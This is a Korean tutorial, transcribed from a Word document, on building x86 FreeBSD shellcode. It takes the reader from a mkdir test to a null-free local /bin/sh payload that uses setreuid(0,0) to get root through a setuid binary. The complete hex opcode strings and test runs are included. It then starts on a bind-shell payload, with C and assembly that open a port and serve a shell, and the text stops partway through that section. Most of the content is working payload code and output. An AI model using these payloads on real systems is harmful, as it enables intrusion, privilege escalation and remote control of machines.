Microsoft Word - FreeBSD Shellcode 만들기.docx

Size: px
Start display at page:

Download "Microsoft Word - FreeBSD Shellcode 만들기.docx"

Transcription

1 FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다 ^^ 글을읽다가궁금하신점이있거나, 틀린부분을발견하신다면제이메일또는파워해커사이트로연락주세요 ~ 목차 I. 소개 1. 작업환경및사용하는툴소개 2. 작업순서 3. Linux 쉘코드와차이점 4. mkdir() 연습 II. Local 쉘코드 III. Bind 쉘코드 IV. Reverse 쉘코드 V. 참고자료

2 I. 소개 1. 작업환경및사용하는툴소개 ~]$ uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 UTC 2007 i386 ~]$ gcc -v Using built-in specs. Configured with: FreeBSD/i386 system compiler Thread model: posix gcc version [FreeBSD] ~]$ gdb -v GNU gdb [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd". ~]$ 2. 작업순서우리는다음과같은순서로쉘코드를만들겁니다. a. 실행하고자하는코드를 C 언어로작성 b. 위 C 코드를컴파일한바이너리의디어셈블리코드분석 c. 분석을통해필요한디어셈블리코드만추출하여, 다시어셈블리코드로작성 d. 작성한어셈블리코드를다시어셈블한뒤, 16진코드로변환 e. 0x00 문자또는필터링되는특정문자제거 f. 완성된쉘코드테스트 3. Linux 쉘코드와차이점 FreeBSD 와 Linux 모두 POSIX 표준을따른다해도커널내부는완전히다릅니다. 그렇기때문에같은컴파일러로컴파일을하더라도생성된바이너리에는많은차이점이존재합니다. 이차이점만잘이해한다면 Linux 쉘코드를 FreeBSD 용으로쉽게변환할수있습니다. 여기서는 mkdir() 함수에대한 FreeBSD 와 Linux 각각의디어셈블리코드를비교해봄으로써, 서로간의차이점을알아보겠습니다. 먼저실행하고자하는코드를 C 언어로작성합니다. [graylynx@freebsd62 ~/work/mkdir_op]$ cat mkdir.c main() { mkdir("powerhacker"); } [graylynx@freebsd62 ~/work/mkdir_op]$

3 gcc 로컴파일한뒤, gdb 로디어셈블리코드를추출합니다. ( 이때 static 옵션을줘야분석하기가편리합니다 ) FreeBSD [graylynx@freebsd62 ~/work/mkdir_op]$ gcc -static -o mkdir mkdir.c [graylynx@freebsd62 ~/work/mkdir_op]$ gdb -q mkdir (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: sub $0xc,%esp 0x080481d3 <main+31>: push $0x805b42a 0x080481d8 <main+36>: call 0x <mkdir> 0x080481dd <main+41>: add $0x10,%esp 0x080481e0 <main+44>: leave 0x080481e1 <main+45>: ret 0x080481e2 <main+46>: nop 0x080481e3 <main+47>: nop disas mkdir Dump of assembler code for function mkdir: 0x <mkdir+0>: mov $0x88,%eax 0x <mkdir+5>: int $0x80 0x <mkdir+7>: jb 0x <issetugid+12> 0x <mkdir+9>: ret 0x a <mkdir+10>: nop 0x b <mkdir+11>: nop Linux [graylynx@redhat9 mkdir_op]$ gcc static o mkdir mkdir.c [graylynx@redhat9 mkdir_op]$ gdb -q mkdir disas main Dump of assembler code for function main: 0x080481d0 <main+0>: push %ebp 0x080481d1 <main+1>: mov %esp,%ebp

4 0x080481d3 <main+3>: sub $0x8,%esp 0x080481d6 <main+6>: and $0xfffffff0,%esp 0x080481d9 <main+9>: mov $0x0,%eax 0x080481de <main+14>: sub %eax,%esp 0x080481e0 <main+16>: sub $0xc,%esp 0x080481e3 <main+19>: push $0x808ef68 0x080481e8 <main+24>: call 0x804db70 <mkdir> 0x080481ed <main+29>: add $0x10,%esp 0x080481f0 <main+32>: leave 0x080481f1 <main+33>: ret 0x080481f2 <main+34>: nop 0x080481f3 <main+35>: nop disas mkdir Dump of assembler code for function mkdir: 0x0804db70 <mkdir+0>: mov %ebx,%edx 0x0804db72 <mkdir+2>: mov 0x8(%esp,1),%ecx 0x0804db76 <mkdir+6>: mov 0x4(%esp,1),%ebx 0x0804db7a <mkdir+10>: mov $0x27,%eax 0x0804db7f <mkdir+15>: int $0x80 0x0804db81 <mkdir+17>: mov %edx,%ebx 0x0804db83 <mkdir+19>: cmp $0xfffff001,%eax 0x0804db88 <mkdir+24>: jae 0x804e4f0 < syscall_error> 0x0804db8e <mkdir+30>: ret 0x0804db8f <mkdir+31>: nop powerhacker 문자열을스택에 push 하고 mkdir 함수를호출하는코드는같습니다. 그런데 mkdir 함수가좀달라보이네요. 중요한부분만살펴보도록하겠습니다. Linux 에서는생성하고자하는디렉토리의이름 powerhacker 문자열을 ebx 레지스터에복사한뒤, mkdir 시스템콜을호출하지만, FreeBSD 에는이와같은코드가없습니다. 즉, 레지스터로인수를전달하는것이아니라시스템콜을호출할당시의 esp 레지스터값을참조하여 esp+4 주소에있는값을인수로인식합니다. FreeBSD x/s 0x805b42a 0x805b42a <_fini+86>: "powerhacker" b *mkdir+5 Breakpoint 1 at 0x r Starting program: /usr/home/graylynx/work/mkdir_op/mkdir Breakpoint 1, 0x in mkdir () info r esp esp 0xbfbfebec 0xbfbfebec

5 x/x $esp 0xbfbfebec: 0xbfbfebf0: 0x080481dd 0x0805b42a 위와같이 gdb 로확인해보면시스템콜을호출할때 ebp 레지스터 + 4 의위치에 powerhacker 문자열 ( 주소 : 0x805b42a) 이들어있음을알수있습니다. 4. mkdir() 연습이를토대로다시어셈블리코드로작성해보겠습니다. [graylynx@freebsd62 ~/work/mkdir_op]$ cat mkdir2.s.globl main main: jmp.ph mkdir: push $0 mov $0x88, %eax int $0x80 mov $1, %eax int $0x80 ret.ph: call mkdir.string "powerhacker" [graylynx@freebsd62 ~/work/mkdir_op]$ gcc mkdir2.s -o mkdir2 [graylynx@freebsd62 ~/work/mkdir_op]$./mkdir2 [graylynx@freebsd62 ~/work/mkdir_op]$ ls -la drwxr-xr-x 3 graylynx graylynx :58. drwxr-xr-x 5 graylynx graylynx :24.. -rwxr-xr-x 1 graylynx graylynx :39 mkdir -rw-rr 1 graylynx graylynx :39 mkdir.c -rwxr-xr-x 1 graylynx graylynx :58 mkdir2 -rw-rr 1 graylynx graylynx :57 mkdir2.s drwx-r 2 graylynx graylynx :58 powerhacker [graylynx@freebsd62 ~/work/mkdir_op]$ 성공적으로 powerhacker 폴더가만들어졌습니다. 약간의설명을덧붙이자면, call mkdir 을할때이미 powerhacker 문자열에대한주소가스택에 push 되므로 esp + 4 를위해더미값 4바이트만한번더 push 해주면됩니다. ( 위에서는 push $0) 또한 mov $1, %eax 와 int $0x80 명령어는프로그램의올바른종료를위해추가된 exit() 함수입니다.

6 II. Local 쉘코드그럼이제본격적으로쉘코드를만들어볼까요? 여기서는 /bin/sh 를실행시키는코드를작성해보겠습니다. 우선다음과같이해당코드를 C 언어로작성합니다. [graylynx@freebsd62 ~/work/local_sh]$ cat sh.c #include <stdio.h> int main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [graylynx@freebsd62 ~/work/local_sh]$ 컴파일한뒤, gdb 로분석합니다. [graylynx@freebsd62 ~/work/local_sh]$ gdb -q sh (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: movl $0x805b44a,0xfffffff8(%ebp) 0x080481d7 <main+35>: movl $0x0,0xfffffffc(%ebp) 0x080481de <main+42>: sub $0x4,%esp 0x080481e1 <main+45>: push $0x0 0x080481e3 <main+47>: lea 0xfffffff8(%ebp),%eax 0x080481e6 <main+50>: push %eax 0x080481e7 <main+51>: pushl 0xfffffff8(%ebp) 0x080481ea <main+54>: call 0x <execve> 0x080481ef <main+59>: add $0x10,%esp 0x080481f2 <main+62>: leave 0x080481f3 <main+63>: ret disas execve Dump of assembler code for function execve: 0x <execve+0>: mov $0x3b,%eax 0x d <execve+5>: int $0x80

7 0x f <execve+7>: jb 0x <execve+9>: ret 0x <execve+10>: nop 0x <execve+11>: nop 0x <_set_tp+12> 중요한코드만추출해보면다음과같이정리할수있습니다. 1. push $0x0 2. push (0x00 으로끝나는 /bin/sh 문자열과 NULL 포인터를담고있는포인터배열의주소 ) 3. push (0x00 으로끝나는 /bin/sh 문자열의주소 ) 4. mov $0x3b, %eax 5. int $0x80 이를다시어셈블리코드로작성합니다. [graylynx@freebsd62 ~/work/local_sh]$ cat sh2.s.globl main main: jmp binsh shell: pop %esi // esi = /bin/sh 문자열의주소 movb $0x0, 0x7(%esi) // 문자열뒤에 0x00 붙임 movl %esi, 0x8(%esi) // char *shell[2] 에해당하는포인터변수설정 // esi+8 위치에문자열의주소복사 movl $0x0, 0xc(%esi) // esi+12 위치에 NULL 포인터복사 pushl $0x0 // execve() 함수의 3번째인자 leal 0x8(%esi), %ebx // *shell 변수의주소 push %ebx // execve() 함수의 2번째인자 push %esi // execve() 함수의 1번째인자 pushl $0x0 // esp+4 를맞추기위한 dummy mov $0x3b, %eax // execve 시스템콜번호 int $0x80 // execve 시스템콜호출 mov $0x01, %eax // exit 시스템콜번호 int $0x80 // exit 시스템콜호출 binsh: call shell.string "/bin/sh" [graylynx@freebsd62 ~/work/local_sh]$ 위코드를어셈블한뒤, 16 진코드로변환합니다. [graylynx@freebsd62 ~/work/local_sh]$ gcc sh2.s -o sh2 [graylynx@freebsd62 ~/work/local_sh]$ objdump -d sh2

8 c <main>: c: eb 26 jmp 80484b4 <binsh> e <shell>: e: 5e pop %esi f: c movb $0x0,0x7(%esi) : mov %esi,0x8(%esi) : c7 46 0c movl $0x0,0xc(%esi) d: 6a 00 push $0x f: 8d 5e 08 lea 0x8(%esi),%ebx 80484a2: 53 push %ebx 80484a3: 56 push %esi 80484a4: 6a 00 push $0x a6: b8 3b mov $0x3b,%eax 80484ab: cd 80 int $0x ad: b mov $0x1,%eax 80484b2: cd 80 int $0x b4 <binsh>: 80484b4: e8 d5 ff ff ff call e <shell> 80484b9: 2f das 80484ba: e bound %ebp,0x6e(%ecx) 80484bd: 2f das 80484be: jae <_fini+0x40> 위에서 op 코드부분만추출하여, C 언어가인식할수있게바꾸면다음과같은코드가됩니다. "\xeb\x26\x5e\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c\x00\x00\x00\x00" "\x6a\x00\x8d\x5e\x08\x53\x56\x6a\x00\xb8\x3b\x00\x00\x00\xcd\x80\xb8" "\x01\x00\x00\x00\xcd\x80\xe8\xd5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 제대로작동하는지테스트해볼까요? [graylynx@freebsd62 ~/work/local_sh]$ cat sh2_op.c char sh[] = " xeb x26 x5e xc6 x46 x07 x00 x89 x76 x08 xc7 x46 x0c x00 x00 x00 x00" " x6a x00 x8d x5e x08 x53 x56 x6a x00 xb8 x3b x00 x00 x00 xcd x80 xb8" " x01 x00 x00 x00 xcd x80 xe8 xd5 xff xff xff x2f x62 x69 x6e x2f x73 x68"; main() { void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/local_sh]$ gcc sh2_op.c -o sh2_op [graylynx@freebsd62 ~/work/local_sh]$ su

9 Password: /home/graylynx/work/local_sh]# chown root sh2_op; chmod 4755 sh2_op /home/graylynx/work/local_sh]# exit ~/work/local_sh]$./sh2_op # id uid=1001(graylynx) gid=1001(graylynx) euid=0(root) groups=1001(graylynx), 0(wheel) # 작동은되지만 uid 가기존의값으로설정되어서실질적으로 root 권한을가질수없습니다. 쉘코드에 setreuid(0, 0) 부분을추가해줍니다. ( 자세한설명은생략 ) [graylynx@freebsd62 ~/work/local_sh]$ cat setreuid.c main() { setreuid(0, 0); } [graylynx@freebsd62 ~/work/local_sh]$ gcc -static setreuid.c -o setreuid [graylynx@freebsd62 ~/work/local_sh]$ gdb -q setreuid (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: sub $0x8,%esp 0x080481d3 <main+31>: push $0x0 0x080481d5 <main+33>: push $0x0 0x080481d7 <main+35>: call 0x80483ec <setreuid> 0x080481dc <main+40>: add $0x10,%esp 0x080481df <main+43>: leave 0x080481e0 <main+44>: ret 0x080481e1 <main+45>: nop 0x080481e2 <main+46>: nop 0x080481e3 <main+47>: nop disas setreuid Dump of assembler code for function setreuid: 0x080483ec <setreuid+0>: mov $0x7e,%eax 0x080483f1 <setreuid+5>: int $0x80 0x080483f3 <setreuid+7>: jb 0x80483e4 <_init_tls+196> 0x080483f5 <setreuid+9>: ret 0x080483f6 <setreuid+10>: nop

10 0x080483f7 <setreuid+11>: nop setreuid() 함수의어셈블리코드는다음과같습니다. push $0x0 push $0x0 push $0x0 // esp+4 를위한 dummy mov $0x7e,%eax int $0x80 아까만든쉘코드의앞부분에추가해준뒤, 16 진코드로변환합니다. ~/work/local_sh]$ objdump -d sh c <main>: c: eb 33 jmp 80484c1 <binsh> e <shell>: e: 5e pop %esi f: 6a 00 push $0x : 6a 00 push $0x : 6a 00 push $0x : b8 7e mov $0x7e,%eax a: cd 80 int $0x c: c movb $0x0,0x7(%esi) 80484a0: mov %esi,0x8(%esi) 80484a3: c7 46 0c movl $0x0,0xc(%esi) 80484aa: 6a 00 push $0x ac: 8d 5e 08 lea 0x8(%esi),%ebx 80484af: 53 push %ebx 80484b0: 56 push %esi 80484b1: 6a 00 push $0x b3: b8 3b mov $0x3b,%eax 80484b8: cd 80 int $0x ba: b mov $0x1,%eax 80484bf: cd 80 int $0x c1 <binsh>: 80484c1: e8 c8 ff ff ff call e <shell> 80484c6: 2f das 80484c7: e bound %ebp,0x6e(%ecx) 80484ca: 2f das 80484cb: jae <_fini+0x41>..

11 만들어진쉘코드를테스트해보겠습니다. ~/work/local_sh]$ cat sh3_op.c char sh[] = " xeb x33 x5e x6a x00 x6a x00 x6a x00 xb8 x7e x00 x00 x00 xcd x80" " xc6 x46 x07 x00 x89 x76 x08 xc7 x46 x0c x00 x00 x00 x00 x6a x00" " x8d x5e x08 x53 x56 x6a x00 xb8 x3b x00 x00 x00 xcd x80 xb8 x01" " x00 x00 x00 xcd x80 xe8 xc8 xff xff xff x2f x62 x69 x6e x2f x73 x68"; main() { void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/local_sh]$ gcc sh3_op.c -o sh3_op [graylynx@freebsd62 ~/work/local_sh]$ su Password: [root@freebsd62 /home/graylynx/work/local_sh]# chown root sh3_op; chmod 4755 sh3_op [root@freebsd62 /home/graylynx/work/local_sh]# exit [graylynx@freebsd62 ~/work/local_sh]$./sh3_op # id uid=0(root) gid=0(wheel) egid=1001(graylynx) groups=1001(graylynx), 0(wheel) # 우리의목적대로 uid 를 0 으로만들었습니다. 하지만이쉘코드도완벽하진않습니다. 왜냐면, 0x00 이코드내에포함되어있기때문이죠. ( 위의코드에서진하게적혀있는 00 들..) 우리가쉘코드를삽입하고자하는프로그램은보통 strcpy() 나 gets() 등의문자열함수를통해입력을받기때문에, 코드중간에 0x00 이포함되어있다면그앞부분까지만입력이되고나머지코드들은잘리게됩니다. 완벽한쉘코드를만드려면코드내에포함되어있는모든 0x00 을제거해야합니다. 사실제거작업은간단합니다. 0x00 이포함된코드를같은동작을하는다른코드로바꿔주기만하면됩니다. 예를들어 pushl $0 명령은 xor %eax, %eax 와 push %eax 로바꿔표현할수있습니다. 0x00 이제거된코드는다음과같습니다. [graylynx@freebsd62 ~/work/local_sh]$ objdump -d sh c <main>: c: eb 26 jmp 80484b4 <binsh> e <shell>:

12 804848e: 5e pop %esi f: 31 c0 xor %eax,%eax : 50 push %eax : 50 push %eax : 50 push %eax : b0 7e mov $0x7e,%al : cd 80 int $0x : 31 c0 xor %eax,%eax a: mov %al,0x7(%esi) d: mov %esi,0x8(%esi) 80484a0: c mov %eax,0xc(%esi) 80484a3: ff 76 0c pushl 0xc(%esi) 80484a6: 8d 5e 08 lea 0x8(%esi),%ebx 80484a9: 53 push %ebx 80484aa: 56 push %esi 80484ab: 50 push %eax 80484ac: b0 3b mov $0x3b,%al 80484ae: cd 80 int $0x b0: b0 01 mov $0x1,%al 80484b2: cd 80 int $0x b4 <binsh>: 80484b4: e8 d5 ff ff ff call e <shell> 80484b9: 2f das 80484ba: e bound %ebp,0x6e(%ecx) 80484bd: 2f das 80484be: jae <_fini+0x40> 그럼최종적으로만들어진쉘코드를테스트해보겠습니다. ~/work/local_sh]$ cat sh4_op.c char sh[] = " xeb x26 x5e x31 xc0 x50 x50 x50 xb0 x7e xcd x80 x31 xc0 x88 x46 x07" " x89 x76 x08 x89 x46 x0c xff x76 x0c x8d x5e x08 x53 x56 x50 xb0 x3b" " xcd x80 xb0 x01 xcd x80 xe8 xd5 xff xff xff x2f x62 x69 x6e x2f x73 x68"; main() { printf("length = %d bytes n", strlen(sh)); void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/local_sh]$ gcc sh4_op.c -o sh4_op [graylynx@freebsd62 ~/work/local_sh]$ su Password: [root@freebsd62 /home/graylynx/work/local_sh]# chown root sh4_op; chmod 4755 sh4_op [root@freebsd62 /home/graylynx/work/local_sh]# exit [graylynx@freebsd62 ~/work/local_sh]$./sh4_op Length = 52 bytes

13 # id uid=0(root) gid=0(wheel) egid=1001(graylynx) groups=1001(graylynx), 0(wheel) # 잘작동하네요. :) 쉘코드를만드는것자체는방법만알면그리어렵지않습니다. 중요한건그안에어떤참신한코드를가지고있느냐죠. 곧이어설명할 Bind 쉘코드와 Reverse 쉘코드를통해서 -우리가원하는- 좀더고급스러운쉘코드를만들어보도록하겠습니다. III. Bind 쉘코드 Bind 쉘코드는소켓을생성하고, 포트를열고, 패킷수신을기다리다가요청이들어오면 /bin/sh 에대한입출력을연결해주는일을하게됩니다. 일단 C 언어로작성해봐야겠죠? [graylynx@freebsd62 ~/work/bind_sh]$ cat bind_sh.c #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 0x7700 int serv_sock; int clnt_sock; struct sockaddr_in serv_addr; char *sh[2] = {"/bin/sh", NULL}; int main() { if(fork() == 0) { serv_sock = socket(pf_inet, SOCK_STREAM, 0); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(inaddr_any); serv_addr.sin_port = htons(port); bind(serv_sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(serv_sock, 1); clnt_sock = accept(serv_sock, NULL, NULL); dup2(clnt_sock, 0); dup2(clnt_sock, 1); dup2(clnt_sock, 2); execve(sh[0], sh, 0); } } [graylynx@freebsd62 ~/work/bind_sh]$

14 컴파일한뒤, gdb 로분석해보도록하죠. 분석하기쉽게함수별로따로분석한다음, 나중에하나의코드로합치도록하겠습니다. 먼저 main() 함수 ~/work/bind_sh]$ gcc -static bind_sh.c -o bind_sh ~/work/bind_sh]$ gdb -q bind_sh (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: call 0x <fork> 0x080481d5 <main+33>: test %eax,%eax 0x080481d7 <main+35>: jne 0x80482b8 <main+260> 0x080481dd <main+41>: sub $0x4,%esp 0x080481e0 <main+44>: push $0x0 0x080481e2 <main+46>: push $0x1 0x080481e4 <main+48>: push $0x2 0x080481e6 <main+50>: call 0x <socket> 0x080481eb <main+55>: add $0x10,%esp 0x080481ee <main+58>: mov %eax,0x8062cc4 0x080481f3 <main+63>: movb $0x2,0x8062ccd 0x080481fa <main+70>: sub $0xc,%esp 0x080481fd <main+73>: push $0x0 0x080481ff <main+75>: call 0x80482d4 < bswap32> 0x <main+80>: add $0x10,%esp 0x <main+83>: mov %eax,0x8062cd0 0x c <main+88>: sub $0xc,%esp 0x f <main+91>: push $0x7700 0x <main+96>: call 0x80482bc < bswap16> 0x <main+101>: add $0x10,%esp 0x c <main+104>: mov %ax,0x8062cce 0x <main+110>: sub $0x4,%esp 0x <main+113>: push $0x10 0x <main+115>: push $0x8062ccc 0x c <main+120>: pushl 0x8062cc4 0x <main+126>: call 0x <bind> 0x <main+131>: add $0x10,%esp 0x a <main+134>: sub $0x8,%esp 0x d <main+137>: push $0x1 0x f <main+139>: pushl 0x8062cc4

15 0x <main+145>: call 0x80497d8 <listen> 0x a <main+150>: add $0x10,%esp 0x d <main+153>: sub $0x4,%esp 0x <main+156>: push $0x0 0x <main+158>: push $0x0 0x <main+160>: pushl 0x8062cc4 0x a <main+166>: call 0x80497ec <accept> 0x f <main+171>: add $0x10,%esp 0x <main+174>: mov %eax,0x8062cc8 0x <main+179>: sub $0x8,%esp 0x a <main+182>: push $0x0 0x c <main+184>: pushl 0x8062cc8 0x <main+190>: call 0x80497c4 <dup2> 0x <main+195>: add $0x10,%esp 0x a <main+198>: sub $0x8,%esp 0x d <main+201>: push $0x1 0x f <main+203>: pushl 0x8062cc8 0x <main+209>: call 0x80497c4 <dup2> 0x a <main+214>: add $0x10,%esp 0x d <main+217>: sub $0x8,%esp 0x <main+220>: push $0x2 0x <main+222>: pushl 0x8062cc8 0x <main+228>: call 0x80497c4 <dup2> 0x d <main+233>: add $0x10,%esp 0x080482a0 <main+236>: sub $0x4,%esp 0x080482a3 <main+239>: push $0x0 0x080482a5 <main+241>: push $0x805e00c 0x080482aa <main+246>: pushl 0x805e00c 0x080482b0 <main+252>: call 0x80484f4 <execve> 0x080482b5 <main+257>: add $0x10,%esp 0x080482b8 <main+260>: leave 0x080482b9 <main+261>: ret 0x080482ba <main+262>: mov %esi,%esi fork() 함수 disas fork Dump of assembler code for function fork: 0x080489e4 <fork+0>: mov $0x2,%eax 0x080489e9 <fork+5>: int $0x80 0x080489eb <fork+7>: jb 0x80489dc <execve+12> 0x080489ed <fork+9>: ret 0x080489ee <fork+10>: nop 0x080489ef <fork+11>: nop

16 socket() 함수 disas socket Dump of assembler code for function socket: 0x08049d84 <socket+0>: mov $0x61,%eax 0x08049d89 <socket+5>: int $0x80 0x08049d8b <socket+7>: jb 0x8049d7c <getprogname+12> 0x08049d8d <socket+9>: ret 0x08049d8e <socket+10>: nop 0x08049d8f <socket+11>: nop bswap32() 함수 disas bswap32 Dump of assembler code for function bswap32: 0x080482d4 < bswap32+0>: push %ebp 0x080482d5 < bswap32+1>: mov %esp,%ebp 0x080482d7 < bswap32+3>: mov 0x8(%ebp),%eax 0x080482da < bswap32+6>: bswap %eax 0x080482dc < bswap32+8>: leave 0x080482dd < bswap32+9>: ret 0x080482de < bswap32+10>: nop 0x080482df < bswap32+11>: nop bswap16() 함수 disas bswap16 Dump of assembler code for function bswap16: 0x080482bc < bswap16+0>: push %ebp 0x080482bd < bswap16+1>: mov %esp,%ebp 0x080482bf < bswap16+3>: sub $0x4,%esp 0x080482c2 < bswap16+6>: mov 0x8(%ebp),%eax 0x080482c5 < bswap16+9>: mov %ax,0xfffffffe(%ebp) 0x080482c9 < bswap16+13>: mov 0xfffffffe(%ebp),%ax 0x080482cd < bswap16+17>: xchg %ah,%al 0x080482cf < bswap16+19>: movzwl %ax,%eax 0x080482d2 < bswap16+22>: leave 0x080482d3 < bswap16+23>: ret bind() 함수

17 disas bind Dump of assembler code for function bind: 0x08049cdc <bind+0>: mov $0x68,%eax 0x08049ce1 <bind+5>: int $0x80 0x08049ce3 <bind+7>: jb 0x8049cd4 <accept+12> 0x08049ce5 <bind+9>: ret 0x08049ce6 <bind+10>: nop 0x08049ce7 <bind+11>: nop listen() 함수 disas listen Dump of assembler code for function listen: 0x08049cb4 <listen+0>: mov $0x6a,%eax 0x08049cb9 <listen+5>: int $0x80 0x08049cbb <listen+7>: jb 0x8049cac <dup2+12> 0x08049cbd <listen+9>: ret 0x08049cbe <listen+10>: nop 0x08049cbf <listen+11>: nop 0x08049cc0 <listen+12>: jmp 0x <.cerror> 0x08049cc5 <listen+17>: lea 0x0(%esi),%esi accept() 함수 disas accept Dump of assembler code for function accept: 0x08049cc8 <accept+0>: mov $0x1e,%eax 0x08049ccd <accept+5>: int $0x80 0x08049ccf <accept+7>: jb 0x8049cc0 <listen+12> 0x08049cd1 <accept+9>: ret 0x08049cd2 <accept+10>: nop 0x08049cd3 <accept+11>: nop 0x08049cd4 <accept+12>: jmp 0x <.cerror> 0x08049cd9 <accept+17>: lea 0x0(%esi),%esi dup2() 함수 disas dup2 Dump of assembler code for function dup2:

18 0x08049ca0 <dup2+0>: mov $0x5a,%eax 0x08049ca5 <dup2+5>: int $0x80 0x08049ca7 <dup2+7>: jb 0x8049c98 <err+6> 0x08049ca9 <dup2+9>: ret 0x08049caa <dup2+10>: nop 0x08049cab <dup2+11>: nop 0x08049cac <dup2+12>: jmp 0x <.cerror> 0x08049cb1 <dup2+17>: lea 0x0(%esi),%esi execve() 함수 disas execve Dump of assembler code for function execve: 0x080484f4 <execve+0>: mov $0x3b,%eax 0x080484f9 <execve+5>: int $0x80 0x080484fb <execve+7>: jb 0x80484ec <_set_tp+12> 0x080484fd <execve+9>: ret 0x080484fe <execve+10>: nop 0x080484ff <execve+11>: nop 0x <execve+12>: jmp 0x8052ec4 <.cerror> 0x <execve+17>: lea 0x0(%esi),%esi 위코드들을쉘코드로작동하게끔다시어셈블하면다음과같은코드가됩니다. ~/work/bind_sh]$ cat bind_sh2.s.globl main main: call fork test %eax, %eax jnz exit call eoc start: pop %esi // esi = 변수들의 base 주소 pushl $0x0 pushl $0x1 pushl $0x2 call socket // socket(pf_inet, SOCK_STREAM, 0); mov %eax, (%esi) // serv_sock 저장 add $0xc, %esp movb $0x2, 0x9(%esi) // serv_addr.sin_family = AF_INET; movb $0x77, 0xa(%esi) // serv_addr.sin_port = htons(0x7700);

19 pushl $0x10 leal 0x8(%esi), %ebx push %ebx push (%esi) call bind // bind(serv_sock, &serv_addr, 16); add $0xc, %esp pushl $0x1 push (%esi) call listen // listen(serv_sock, 1); add $0x8, %esp pushl $0x0 pushl $0x0 push (%esi) call accept // accept(serv_sock, 0, 0); mov %eax, 0x4(%esi) // clnt_sock 저장 add $0xc, %esp pushl $0x0 push 0x4(%esi) call dup2 // dup2(clnt_sock, 0); add $0x8, %esp pushl $0x1 push 0x4(%esi) call dup2 // dup2(clnt_sock, 1); add $0x8, %esp pushl $0x2 push 0x4(%esi) call dup2 // dup2(clnt_sock, 2); add $0x8, %esp fork: socket: movl $0x6e69622f, 0x18(%esi) movl $0x f, 0x1c(%esi) leal 0x18(%esi), %ebx mov %ebx, 0x20(%esi) movl $0x0, 0x24(%esi) pushl $0x0 leal 0x24(%esi), %edx push %edx push %ebx call execve // execve( /bin/sh, sh, NULL); call exit // exit(); mov $0x2, %eax int $0x80 ret mov $0x61, %eax int $0x80 ret

20 bind: mov $0x68, %eax int $0x80 ret listen: mov $0x6a, %eax int $0x80 ret accept: mov $0x1e, %eax int $0x80 ret dup2: mov $0x5a, %eax int $0x80 ret execve: mov $0x3b, %eax int $0x80 ret exit: mov $0x1, %eax int $0x80 eoc: call start ~/work/bind_sh]$ 원래의 C 코드에서처럼우리는 serv_sock, clnt_sock 와 serv_addr 등의변수들을메모리공간에할당해줘야하는데, 위의쉘코드에서는코드의마지막주소를기준으로변수의값들을저장하도록했습니다. 아래그림은알아보기쉽게변수가사용하는메모리공간을나타낸것입니다. (+0x?? 는 pop %esi 이후, esi 레지스터를기준으로나타낸변수들의오프셋입니다 ) +0x0 +0x4 +0x8 +0xa +0xc +0x10 +0x18 +0x20 +0x24 serv_sock clnt_sock family port addr dummy /bin/sh *sh NULL bswap32() 와 bswap16() 함수는굳이함수로만들필요가없어서, 해당변수의오프셋에바로값을 대입했습니다. ( 밑의코드 ) movb $0x2, 0x9(%esi) // serv_addr.sin_family = AF_INET; movb $0x77, 0xa(%esi) // serv_addr.sin_port = htons(0x7700); dup2() 함수는파일디스크립터를복사하는함수로써, 